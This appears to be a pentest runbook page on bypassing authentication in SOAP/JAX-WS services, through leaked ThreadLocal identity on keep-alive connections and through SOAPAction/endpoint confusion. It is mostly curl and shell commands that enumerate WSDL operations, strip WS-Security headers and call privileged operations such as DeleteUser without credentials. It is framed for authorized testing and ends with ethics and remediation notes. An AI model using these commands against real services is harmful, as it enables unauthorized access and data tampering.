Webupdated Oct 1, 2026

SOAP / JAX-WS & ThreadLocal Auth Bypass

Exploiting shared ThreadLocal security context across requests and SOAP action/endpoint confusion in Java web services.

toolbox:curlburp suitejq

A SOAP/JAX-WS auth bypass runbook for bug bounty / authorized pentest on in-scope targets only. Goal: exploit a ThreadLocal security context that leaks across pooled requests, or SOAPAction/endpoint confusion, to call a privileged operation without valid credentials.

1. Enumerate the service

curl -s "https://target.com/service?wsdl" -o service.wsdl
grep -oE '<wsdl:operation name="[^"]+"' service.wsdl | cut -d'"' -f2 | sort -u
grep -oE '<soap:operation soapAction="[^"]*"' service.wsdl | sort -u

Identify which operations are admin-only and where auth is enforced.

2. Understand the ThreadLocal pattern

// Handler sets identity at request start
SecurityContext.set(user);
// If remove() is never called, a pooled thread keeps it for the next request

3. Leak identity over a keep-alive connection

# Request 1: valid authenticated SOAP call
curl -s --http1.1 -H "Connection: keep-alive" \
  -H "Content-Type: text/xml; charset=utf-8" \
  -H "SOAPAction: \"urn:GetProfile\"" \
  --data-binary @auth_call.xml "https://target.com/service"

# Request 2: no auth, same connection — watch for inherited identity
curl -s --http1.1 -H "Connection: keep-alive" \
  -H "Content-Type: text/xml; charset=utf-8" \
  -H "SOAPAction: \"urn:AdminListUsers\"" \
  --data-binary @noauth_call.xml "https://target.com/service"

Run both through Burp on a single connection to make the reuse explicit.

4. SOAPAction and endpoint confusion

# Change SOAPAction while hitting the same endpoint
curl -s -X POST "https://target.com/service" \
  -H "Content-Type: text/xml; charset=utf-8" \
  -H "SOAPAction: \"urn:DeleteUser\"" --data-binary @body.xml -i

# Strip WS-Security headers
sed '/<wsse:Security/,/<\/wsse:Security>/d' auth_call.xml > stripped.xml
curl -s -X POST "https://target.com/service" \
  -H "Content-Type: text/xml; charset=utf-8" --data-binary @stripped.xml -i

Also reuse a valid UsernameToken/BinarySecurityToken across different operations.

5. Test every operation unauthenticated

OPS=$(grep -oE '<wsdl:operation name="[^"]+"' service.wsdl | cut -d'"' -f2)
for op in $OPS; do
  curl -s -o /dev/null -w "$op -> %{http_code}\n" -X POST \
    "https://target.com/service" \
    -H "Content-Type: text/xml; charset=utf-8" \
    -H "SOAPAction: \"urn:$op\"" --data-binary @noauth_call.xml
done

Full pipeline

B="https://target.com"
curl -s "$B/service?wsdl" -o service.wsdl
grep -oE '<wsdl:operation name="[^"]+"' service.wsdl | cut -d'"' -f2 | sort -u
curl -s --http1.1 -H "Connection: keep-alive" \
  -H "Content-Type: text/xml; charset=utf-8" \
  -H "SOAPAction: \"urn:GetProfile\"" --data-binary @auth_call.xml "$B/service" | jq -R .
curl -s --http1.1 -H "Connection: keep-alive" \
  -H "Content-Type: text/xml; charset=utf-8" \
  -H "SOAPAction: \"urn:AdminListUsers\"" --data-binary @noauth_call.xml "$B/service"
curl -s -X POST "$B/service" -H "Content-Type: text/xml; charset=utf-8" \
  -H "SOAPAction: \"urn:DeleteUser\"" --data-binary @body.xml -i
sed '/<wsse:Security/,/<\/wsse:Security>/d' auth_call.xml > stripped.xml
curl -s -X POST "$B/service" -H "Content-Type: text/xml; charset=utf-8" \
  --data-binary @stripped.xml -i

Ethics & legality

  • Only call operations against test accounts and data; never mutate production state.
  • Prove leakage with a canary identity and a read-only privileged call where possible.
  • ThreadLocal bugs are flaky — reproduce deliberately on a single connection rather than hammering.
  • Recommend clearing ThreadLocal in a finally block and re-validating per message in the report.